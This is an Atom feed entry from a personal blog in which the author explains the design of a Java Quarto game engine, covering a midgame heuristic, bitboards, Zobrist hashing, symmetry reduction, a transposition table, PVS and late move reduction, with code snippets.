<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Ilia Mirzaali</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://blog.rmxzy.com/</id>
  <link href="https://blog.rmxzy.com/" rel="alternate"/>
  <link href="https://blog.rmxzy.com/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Ilia Mirzaali</rights>
  <subtitle>Notes on systems, security, and software by Ilia Mirzaali (rmxzy)</subtitle>
  <title>Ilia Mirzaali — rmxzy's blog</title>
  <updated>2026-05-07T22:09:06.996Z</updated>
  <entry>
    <author>
      <name>Ilia Mirzaali</name>
    </author>
    <category term="Artificial Intelligence" scheme="https://blog.rmxzy.com/categories/Artificial-Intelligence/"/>
    <category term="Game Theory" scheme="https://blog.rmxzy.com/categories/Artificial-Intelligence/Game-Theory/"/>
    <category term="Projects" scheme="https://blog.rmxzy.com/categories/Artificial-Intelligence/Game-Theory/Projects/"/>
    <category term="Java" scheme="https://blog.rmxzy.com/tags/Java/"/>
    <category term="Game AI" scheme="https://blog.rmxzy.com/tags/Game-AI/"/>
    <category term="Alpha-Beta Pruning" scheme="https://blog.rmxzy.com/tags/Alpha-Beta-Pruning/"/>
    <category term="Optimization" scheme="https://blog.rmxzy.com/tags/Optimization/"/>
    <category term="Competitive Programming" scheme="https://blog.rmxzy.com/tags/Competitive-Programming/"/>
    <content>
      <![CDATA[<p>So I had to build a Quarto AI for a university competition, and I quickly ran into the classic dilemma: you can either search the entire game tree perfectly (but run out of time), or you can use some heuristic evaluation and just <em>hope</em> it doesn’t blunder. Neither option felt great.</p><p>Naturally, I decided to do both. The result is <strong>ChokerJoker</strong>: an AI with a split personality. In the midgame, it plays like a strangler, slowly suffocating the opponent by minimizing their safe moves. Then, once the board gets sparse enough, it flips a switch and becomes a perfect endgame solver that calculates every possible outcome.</p><p>In this post I’ll walk through the whole thing: bitboards, Zobrist hashing, 32-way symmetry reduction, and why I spent way too long tweaking move ordering. If you want to skip ahead and just look at the code, the full project is on GitHub:</p><p>👉 <strong><a class="link"   href="https://github.com/ramzxy/quarto" >https://github.com/ramzxy/quarto<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></strong></p><h1 id="Phase-1-The-Strangler-Heuristic-Midgame"><a href="#Phase-1-The-Strangler-Heuristic-Midgame" class="headerlink" title="Phase 1: The Strangler (Heuristic Midgame)"></a>Phase 1: The Strangler (Heuristic Midgame)</h1><p>The first phase of ChokerJoker is all about <strong>panic maximization</strong>. The goal is to slowly choke the opponent by reducing their options until they’re basically stuck.</p><h2 id="The-Core-Heuristic"><a href="#The-Core-Heuristic" class="headerlink" title="The Core Heuristic"></a>The Core Heuristic</h2><p>After a lot of testing (and I mean <em>a lot</em>), I settled on this evaluation formula:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Score = -(2.21 × Safety) - (0.37 × Traps)</span><br></pre></td></tr></table></figure></div><p>Where:</p><ul><li><strong>Safety</strong>: The number of “safe” (square, piece) pairs the opponent can choose without giving me an immediate win</li><li><strong>Traps</strong>: Moves that <em>look</em> safe but actually lead to forced losses</li></ul><p>The weights (2.21 and 0.37) were hand-tuned through trial and error. Not the most scientific approach, but it worked. The idea is simple: <strong>minimize the opponent’s breathing room</strong>. Fewer safe options &#x3D; more mistakes.</p><h3 id="Why-This-Works"><a href="#Why-This-Works" class="headerlink" title="Why This Works"></a>Why This Works</h3><p>If you’ve never played Quarto, here’s what makes it weird: unlike chess, where you control your own pieces, in Quarto your <em>opponent</em> chooses which piece you place. So the player giving the piece actually has more control than the player placing it.</p><p>This means instead of trying to “win positions,” the Strangler focuses on <strong>controlling the piece selection</strong>. If I can force the opponent into a situation where <em>every piece they give me</em> is dangerous, I’ve basically already won even if the board looks neutral to a human.</p><h2 id="Bitboard-Representation"><a href="#Bitboard-Representation" class="headerlink" title="Bitboard Representation"></a>Bitboard Representation</h2><p>One of the first things I did was throw out the object-based board representation and switch to <strong>bitboards</strong>. If you’ve ever written a chess engine, you know the drill.</p><p>Instead of storing a <code>Piece</code> object at each square, I use <em>five integers</em>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> tall;    <span class="comment">// Bit i is set if square i has a tall piece</span></span><br><span class="line"><span class="type">int</span> round;   <span class="comment">// Bit i is set if square i has a round piece</span></span><br><span class="line"><span class="type">int</span> solid;   <span class="comment">// Bit i is set if square i has a solid piece</span></span><br><span class="line"><span class="type">int</span> dark;    <span class="comment">// Bit i is set if square i has a dark piece</span></span><br><span class="line"><span class="type">int</span> occupied; <span class="comment">// Bit i is set if square i is filled</span></span><br></pre></td></tr></table></figure></div><p>Each piece has 4 binary attributes (tall&#x2F;short, round&#x2F;square, solid&#x2F;hollow, dark&#x2F;light), which map perfectly to a 4-bit encoding. Attribute checks are now a single bitwise AND operation:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">isDark</span><span class="params">(<span class="type">int</span> pieceId)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> (pieceId &amp; MASK_DARK) != <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>No object lookups, no method calls, no chasing pointers through memory.</p><h2 id="O-1-Danger-Mask-Calculation"><a href="#O-1-Danger-Mask-Calculation" class="headerlink" title="O(1) Danger Mask Calculation"></a>O(1) Danger Mask Calculation</h2><p>The original version of the Strangler was <em>slow</em>. Every time I evaluated a position, I’d loop through all empty squares, loop through all available pieces, and check if placing that piece would create a winning line. That’s <strong>O(Empty × Pieces × Lines)</strong>, way too expensive when you’re doing it thousands of times per second. The midgame search was taking 5+ seconds per move, which is… not great when you have a time limit.</p><p>So I rewrote it using <strong>danger masks</strong>. I was honestly skeptical this would work, but it ended up being the single biggest performance win in the whole project.</p><p>Here’s the idea: for each attribute (tall, round, solid, dark), I precompute a bitmask of squares where placing a piece with that attribute would <em>complete a winning line</em>. Then, to check if a piece is dangerous, I just OR together the four attribute masks:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">int</span> <span class="title function_">getDangerSquares</span><span class="params">(<span class="type">int</span> tall, <span class="type">int</span> round, <span class="type">int</span> solid, <span class="type">int</span> dark, </span></span><br><span class="line"><span class="params">                              <span class="type">int</span> occupied, <span class="type">int</span> pieceId)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">danger</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    danger |= computeDangerMaskForAttr(tall, isTall(pieceId), occupied);</span><br><span class="line">    danger |= computeDangerMaskForAttr(round, isRound(pieceId), occupied);</span><br><span class="line">    danger |= computeDangerMaskForAttr(solid, isSolid(pieceId), occupied);</span><br><span class="line">    danger |= computeDangerMaskForAttr(dark, isDark(pieceId), occupied);</span><br><span class="line">    <span class="keyword">return</span> danger;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>This drops the safety calculation from <strong>O(Empty × Pieces × Lines)</strong> to <strong>O(Pieces × Lines)</strong>. At depth 5, this optimization alone saved about 70% of evaluation time.</p><h2 id="Iterative-Deepening-Aspiration-Windows"><a href="#Iterative-Deepening-Aspiration-Windows" class="headerlink" title="Iterative Deepening + Aspiration Windows"></a>Iterative Deepening + Aspiration Windows</h2><p>The Strangler uses iterative deepening, starting at depth 1 and working its way up to depth 5 (or until time runs out).</p><p>To speed things up, I added <strong>aspiration windows</strong>: instead of searching with <code>[-∞, +∞]</code> bounds, I use a narrow window around the previous iteration’s score:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">alpha</span> <span class="operator">=</span> previousScore - <span class="number">50</span>;</span><br><span class="line"><span class="type">int</span> <span class="variable">beta</span> <span class="operator">=</span> previousScore + <span class="number">50</span>;</span><br></pre></td></tr></table></figure></div><p>If the search fails outside this window, I widen it and re-search. But most of the time, the score stays stable, and the narrow window causes more cutoffs, which means faster searches.</p><h1 id="Phase-2-The-God-Engine-Perfect-Endgame"><a href="#Phase-2-The-God-Engine-Perfect-Endgame" class="headerlink" title="Phase 2: The God Engine (Perfect Endgame)"></a>Phase 2: The God Engine (Perfect Endgame)</h1><p>Once the board reaches 9 empty squares (or fewer), the Strangler steps aside and the <strong>God Engine</strong> takes over, a brute-force Alpha-Beta solver that just calculates everything to the end of the game tree.</p><p>At this point, the game becomes fully solvable. There are at most <strong>9! × 9!</strong> positions left, which sounds huge until you realize…</p><h2 id="Symmetry-Reduction-32×-State-Space-Collapse"><a href="#Symmetry-Reduction-32×-State-Space-Collapse" class="headerlink" title="Symmetry Reduction (32× State Space Collapse)"></a>Symmetry Reduction (32× State Space Collapse)</h2><p>Quarto has a <em>lot</em> of symmetry. The board has 8-fold rotational&#x2F;reflective symmetry (the dihedral group D4), which is standard stuff. But there are also <strong>topological symmetries</strong> — board transformations that preserve winning lines but aren’t geometric rotations. These are way less obvious, and it took me a while to even convince myself they were valid.</p><p>I combined these into <strong>32 total symmetries</strong> (8 spatial × 4 topological):</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span>[][] ALL_SYMMETRIES = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">32</span>][<span class="number">16</span>];</span><br></pre></td></tr></table></figure></div><p>Every time I evaluate a position, I compute its <strong>canonical hash</strong>, the minimum hash value across all 32 symmetric variants:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">long</span> <span class="title function_">computeCanonicalHash</span><span class="params">(<span class="type">int</span> tall, <span class="type">int</span> round, <span class="type">int</span> solid, <span class="type">int</span> dark, </span></span><br><span class="line"><span class="params">                                    <span class="type">int</span> occupied, <span class="type">int</span> pieceToPlace)</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">minHash</span> <span class="operator">=</span> Long.MAX_VALUE;</span><br><span class="line">    <span class="type">int</span> <span class="variable">minSym</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">sym</span> <span class="operator">=</span> <span class="number">0</span>; sym &lt; <span class="number">32</span>; sym++) &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">h</span> <span class="operator">=</span> computeHashForSymmetry(sym, ...);</span><br><span class="line">        <span class="keyword">if</span> (Long.compareUnsigned(h, minHash) &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            minHash = h;</span><br><span class="line">            minSym = sym;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> (minHash &amp; <span class="number">0xFFFFFFFFFFFFFFE0L</span>) | (minSym &amp; <span class="number">0x1F</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>This collapses the state space by up to <strong>32×</strong>. Positions that look completely different to a human are treated as identical by the AI. The transposition table hit rate went from about 20% to 60% after adding this.</p><h2 id="Piece-Isomorphism-Because-Why-Stop-There"><a href="#Piece-Isomorphism-Because-Why-Stop-There" class="headerlink" title="Piece Isomorphism (Because Why Stop There)"></a>Piece Isomorphism (Because Why Stop There)</h2><p>But wait, there’s <em>more</em> symmetry to exploit.</p><p>If the board has mostly dark pieces, I can invert the “dark” bit for every piece and get an equivalent position. This is called <strong>piece isomorphism</strong>.</p><p>I detect when an attribute is in the majority and flip it:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">int</span> <span class="title function_">computeInversionMask</span><span class="params">(<span class="type">int</span> dark, <span class="type">int</span> tall, <span class="type">int</span> round, <span class="type">int</span> solid, </span></span><br><span class="line"><span class="params">                                   <span class="type">int</span> occupied)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">mask</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">darkCount</span> <span class="operator">=</span> Integer.bitCount(dark &amp; occupied);</span><br><span class="line">    <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> Integer.bitCount(occupied);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (darkCount &gt; count / <span class="number">2</span>) &#123;</span><br><span class="line">        mask |= MASK_DARK;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// ...repeat for other attributes</span></span><br><span class="line">    <span class="keyword">return</span> mask;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Then I XOR every piece ID with this mask before hashing. This adds another ~2× reduction on top of the geometric symmetries.</p><h2 id="Zobrist-Hashing-Fast-Collision-Resistant"><a href="#Zobrist-Hashing-Fast-Collision-Resistant" class="headerlink" title="Zobrist Hashing (Fast, Collision-Resistant)"></a>Zobrist Hashing (Fast, Collision-Resistant)</h2><p>To make symmetry detection fast, I use <strong>Zobrist hashing</strong>, a technique borrowed from chess engines.</p><p>Each (square, piece) pair gets a random 64-bit number:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span>[][] Z_SQUARE_PIECE = <span class="keyword">new</span> <span class="title class_">long</span>[<span class="number">16</span>][<span class="number">16</span>];</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span>[] Z_NEXT_PIECE = <span class="keyword">new</span> <span class="title class_">long</span>[<span class="number">16</span>];</span><br></pre></td></tr></table></figure></div><p>The hash of a position is just the XOR of all occupied squares:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">long</span> <span class="variable">hash</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">sq</span> <span class="operator">=</span> <span class="number">0</span>; sq &lt; <span class="number">16</span>; sq++) &#123;</span><br><span class="line">    <span class="keyword">if</span> ((occupied &amp; (<span class="number">1</span> &lt;&lt; sq)) != <span class="number">0</span>) &#123;</span><br><span class="line">        hash ^= Z_SQUARE_PIECE[sq][pieceId];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">hash ^= Z_NEXT_PIECE[pieceToPlace];</span><br></pre></td></tr></table></figure></div><p>XOR is fast, reversible (updating the hash after a move is trivial), and has excellent collision resistance.</p><h2 id="Transposition-Table-4-Million-Entries"><a href="#Transposition-Table-4-Million-Entries" class="headerlink" title="Transposition Table (4 Million Entries)"></a>Transposition Table (4 Million Entries)</h2><p>All those canonical hashes feed into a <strong>transposition table</strong>, a giant lookup table that stores previously searched positions:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">TT_SIZE</span> <span class="operator">=</span> <span class="number">1</span> &lt;&lt; <span class="number">22</span>; <span class="comment">// 4 Million entries</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span>[] TT_KEYS = <span class="keyword">new</span> <span class="title class_">long</span>[TT_SIZE];</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span>[] TT_VALUES = <span class="keyword">new</span> <span class="title class_">long</span>[TT_SIZE];</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span>[] TT_MOVES = <span class="keyword">new</span> <span class="title class_">int</span>[TT_SIZE];</span><br></pre></td></tr></table></figure></div><p>Before searching a position, I check if I’ve seen it before:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">ttIndex</span> <span class="operator">=</span> (<span class="type">int</span>)((canonicalHash &gt;&gt;&gt; <span class="number">5</span>) &amp; (TT_SIZE - <span class="number">1</span>));</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (TT_KEYS[ttIndex] == canonicalHash) &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">ttEntry</span> <span class="operator">=</span> TT_VALUES[ttIndex];</span><br><span class="line">    <span class="type">int</span> <span class="variable">ttDepth</span> <span class="operator">=</span> (<span class="type">int</span>)((ttEntry &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFF</span>);</span><br><span class="line">    <span class="type">int</span> <span class="variable">ttScore</span> <span class="operator">=</span> (<span class="type">int</span>)(ttEntry &gt;&gt; <span class="number">16</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (ttDepth &gt;= depth) &#123;</span><br><span class="line">        <span class="comment">// Use stored result instead of re-searching</span></span><br><span class="line">        <span class="keyword">return</span> ttScore;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>With the 32× symmetry reduction, the transposition table gets <em>way</em> more hits than it would in a normal search. Positions that were searched in different branches (but are actually the same after symmetry) all map to the same table entry.</p><h2 id="Principal-Variation-Search-PVS"><a href="#Principal-Variation-Search-PVS" class="headerlink" title="Principal Variation Search (PVS)"></a>Principal Variation Search (PVS)</h2><p>The God Engine uses <strong>Principal Variation Search</strong>, an optimization of Alpha-Beta that assumes the first move you try is usually the best one. Sounds risky, but if your move ordering is decent, it pays off big time.</p><p>Here’s how it works:</p><ol><li>Search the first move with a full <code>[alpha, beta]</code> window</li><li>Search all remaining moves with a <strong>null window</strong> <code>[alpha, alpha+1]</code></li><li>If a later move beats <code>alpha</code>, re-search it with the full window</li></ol><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (firstMove) &#123;</span><br><span class="line">    val = -godEngineNegamax(depth-<span class="number">1</span>, -beta, -alpha, ...);</span><br><span class="line">    firstMove = <span class="literal">false</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="comment">// Null window search</span></span><br><span class="line">    val = -godEngineNegamax(depth-<span class="number">1</span>, -alpha-<span class="number">1</span>, -alpha, ...);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Re-search if it beats alpha</span></span><br><span class="line">    <span class="keyword">if</span> (val &gt; alpha &amp;&amp; val &lt; beta) &#123;</span><br><span class="line">        val = -godEngineNegamax(depth-<span class="number">1</span>, -beta, -alpha, ...);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>When move ordering is good (which it usually is, thanks to the transposition table), this causes way more cutoffs than plain Alpha-Beta.</p><h2 id="Late-Move-Reduction-LMR"><a href="#Late-Move-Reduction-LMR" class="headerlink" title="Late Move Reduction (LMR)"></a>Late Move Reduction (LMR)</h2><p>If I’ve already searched 3+ moves at a node and none of them improved <code>alpha</code>, the remaining moves are probably bad. So I search them at <strong>reduced depth</strong>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">reduction</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> (!firstMove &amp;&amp; i &gt;= LMR_THRESHOLD &amp;&amp; depth &gt; LMR_DEPTH_THRESHOLD) &#123;</span><br><span class="line">    reduction = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">val = -godEngineNegamax(depth - <span class="number">1</span> - reduction, ...);</span><br><span class="line"></span><br><span class="line"><span class="comment">// If it beats alpha despite the reduction, re-search at full depth</span></span><br><span class="line"><span class="keyword">if</span> (reduction &gt; <span class="number">0</span> &amp;&amp; val &gt; alpha) &#123;</span><br><span class="line">    val = -godEngineNegamax(depth - <span class="number">1</span>, ...);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Late moves almost never matter, and LMR lets me skip most of their subtrees. In practice, this cut the average node count by about 40%. Free performance.</p><h2 id="Move-Ordering-The-Actual-Secret-Sauce"><a href="#Move-Ordering-The-Actual-Secret-Sauce" class="headerlink" title="Move Ordering (The Actual Secret Sauce)"></a>Move Ordering (The Actual Secret Sauce)</h2><p>Here’s the thing though all these optimizations (PVS, LMR, Alpha-Beta cutoffs) only work if <strong>good moves are searched first</strong>. If I search the best move last, I get zero cutoffs and waste all my time. Move ordering is everything.</p><p>So I use <strong>three layers of move ordering</strong>:</p><ol><li><p><strong>Transposition Table Move</strong> (priority: 1,000,000)<br>If I’ve seen this position before, try the best move from last time first.</p></li><li><p><strong>Killer Moves</strong> (priority: 50,000 &#x2F; 40,000)<br>Moves that caused cutoffs at the same depth in other branches.</p></li><li><p><strong>History Heuristic</strong> (priority: 0–10,000)<br>Moves that have caused cutoffs frequently in the past.</p></li></ol><p>These are combined into a single priority score, and moves are sorted before searching:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; moveCount; i++) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> i;</span><br><span class="line">    <span class="keyword">while</span> (j &gt; <span class="number">0</span> &amp;&amp; movePriorities[j] &gt; movePriorities[j - <span class="number">1</span>]) &#123;</span><br><span class="line">        <span class="comment">// Bubble sort (fine for small arrays)</span></span><br><span class="line">        swap(moveSqs, j, j-<span class="number">1</span>);</span><br><span class="line">        swap(moveNextPs, j, j-<span class="number">1</span>);</span><br><span class="line">        swap(movePriorities, j, j-<span class="number">1</span>);</span><br><span class="line">        j--;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>With good move ordering, I often get a cutoff on the <em>first</em> move. When that happens, the entire remaining subtree is skipped.</p><h1 id="Dynamic-Phase-Switching"><a href="#Dynamic-Phase-Switching" class="headerlink" title="Dynamic Phase Switching"></a>Dynamic Phase Switching</h1><p>The last piece of the puzzle: <strong>when do you actually switch from Strangler to God Engine?</strong></p><p>I went with a <strong>dynamic threshold</strong> based on how much time is left:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">int</span> <span class="title function_">getDynamicEndgameThreshold</span><span class="params">(<span class="type">long</span> elapsedMs, <span class="type">long</span> timeLimitMs)</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">remaining</span> <span class="operator">=</span> timeLimitMs - elapsedMs;</span><br><span class="line">    <span class="keyword">if</span> (remaining &gt; <span class="number">4000</span>) <span class="keyword">return</span> <span class="number">11</span>;  <span class="comment">// Switch early if we have time</span></span><br><span class="line">    <span class="keyword">if</span> (remaining &gt; <span class="number">2000</span>) <span class="keyword">return</span> <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">9</span>;  <span class="comment">// Safe default</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>If I have plenty of time, I switch to perfect play earlier (11 empty squares). If I’m running low, I wait until 9 empty squares to guarantee the search finishes.</p><p>This adaptive strategy means I’m always using the best approach for the current time budget.</p><h1 id="Putting-It-All-Together"><a href="#Putting-It-All-Together" class="headerlink" title="Putting It All Together"></a>Putting It All Together</h1><p>Here’s the final pipeline:</p><ol><li><strong>Opening</strong> (16 empty squares): Pick a balanced piece to give the opponent</li><li><strong>Midgame</strong> (15–10 empty squares): Strangler heuristic with iterative deepening</li><li><strong>Endgame</strong> (≤9 empty squares): God Engine with perfect Alpha-Beta search</li><li><strong>Every move</strong>: Zobrist hashing → Canonical symmetry → Transposition table lookup → Move ordering → PVS + LMR</li></ol><p>The result? An AI that plays dirty in the midgame, strangling the opponent’s options, and then switches to cold, mathematically perfect play once the endgame is in sight.</p><h1 id="Performance"><a href="#Performance" class="headerlink" title="Performance"></a>Performance</h1><p>Some quick numbers:</p><ul><li><strong>Midgame search</strong> (Strangler, depth 5): ~50,000 nodes&#x2F;second</li><li><strong>Endgame search</strong> (God Engine, depth 18): ~200,000 nodes&#x2F;second (thanks to TT&#x2F;symmetry)</li><li><strong>Transposition table hit rate</strong>: ~60% in endgame</li><li><strong>Average move time</strong>: 0.5–2 seconds</li></ul><p>The God Engine is actually <em>faster</em> per node than the Strangler, which I definitely didn’t expect going in. Turns out when your transposition table and symmetry reduction are doing their job, you skip so many subtrees that perfect search ends up being cheaper than heuristic search. Weird, right?</p><h1 id="What-I’d-Do-Differently"><a href="#What-I’d-Do-Differently" class="headerlink" title="What I’d Do Differently"></a>What I’d Do Differently</h1><p>If I were to rebuild this from scratch:</p><ol><li><p><strong>Use Opening Books</strong>: The first 2–3 moves are always the same. Precomputing optimal openings would save time.</p></li><li><p><strong>Tune Weights with Machine Learning</strong>: The heuristic weights (2.21, 0.37) were hand-tuned. A genetic algorithm could probably find better values.</p></li><li><p><strong>Multi-Threaded Search</strong>: The transposition table is already thread-safe-ish. Parallelizing the root move search would be a nice speedup.</p></li><li><p><strong>Better Time Management</strong>: Right now I use fixed time limits per phase. A more dynamic system (like chess engines use) would be smarter.</p></li></ol><h1 id="Final-Thoughts"><a href="#Final-Thoughts" class="headerlink" title="Final Thoughts"></a>Final Thoughts</h1><p>Building ChokerJoker took about three weeks of on-and-off work. Most of that time wasn’t actually writing the algorithm, it was debugging why the symmetry reduction was breaking certain endgame positions, or staring at logs trying to figure out why the transposition table was returning stale scores.</p><p>The full code is 1,739 lines of Java, all in one file. Yes, that probably horrifies proper software engineers, but it made debugging much easier. The bitboards, the Zobrist tables, the symmetry logic, the transposition table everything is right there. No hunting across 15 different classes.</p><p>If you’re building your own game AI, here’s my one piece of advice: spend your time on move ordering. Alpha-Beta is fast, but only if you search good moves first. The difference between random move order and good move order is often 100x in node count.</p><p>Anyway, that’s ChokerJoker. It wins most of the time, draws sometimes, and loses occasionally when it misjudges the midgame, which is about as good as you can expect from a hybrid strategy.</p><p>If you want to check out the full source code, it’s all up on GitHub:</p><p>👉 <strong><a class="link"   href="https://github.com/ramzxy/quarto" >https://github.com/ramzxy/quarto<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></strong></p><hr><p>If you enjoyed this read and want to support more posts like this, 